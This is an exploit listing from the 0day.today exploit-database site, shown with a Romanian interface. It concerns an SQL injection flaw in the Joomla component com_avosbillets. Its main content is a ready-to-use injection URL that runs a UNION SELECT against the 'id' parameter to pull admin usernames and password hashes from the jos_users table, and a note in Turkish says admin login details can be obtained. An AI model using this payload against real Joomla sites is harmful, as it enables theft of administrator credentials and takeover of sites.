[ autentificare ] [ înregistrare ] [ Restabilire ]
Contactează-ne
Ne puteți contacta prin:
0day.today   exploit-uri Market și 0day exploit-uri Database

Joomla Component com_avosbillets Blind SQL Injection Vulnerability

Autor
Pyske
Risc
[
Nivel de securitate nul
]
0day-ID
0day-ID-10554
Categorie
web applications
Data
01-01-2010
Platformă
unsorted
==================================================================
Joomla Component com_avosbillets Blind SQL Injection Vulnerability
==================================================================

<------------------- header data start ------------------- >
#############################################################
#        Joomla Component com_avosbillets Blind SQL Injection Vulnerability
#############################################################
# Author          : Pyske
# Name            : com_avosbillets
# Bug Type        : Blind SQL Injection
# Infection       : Admin login bilgileri alinabilir.
 
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--
 
< -- bug code end of -- >



#  0day.today [2024-07-15]  #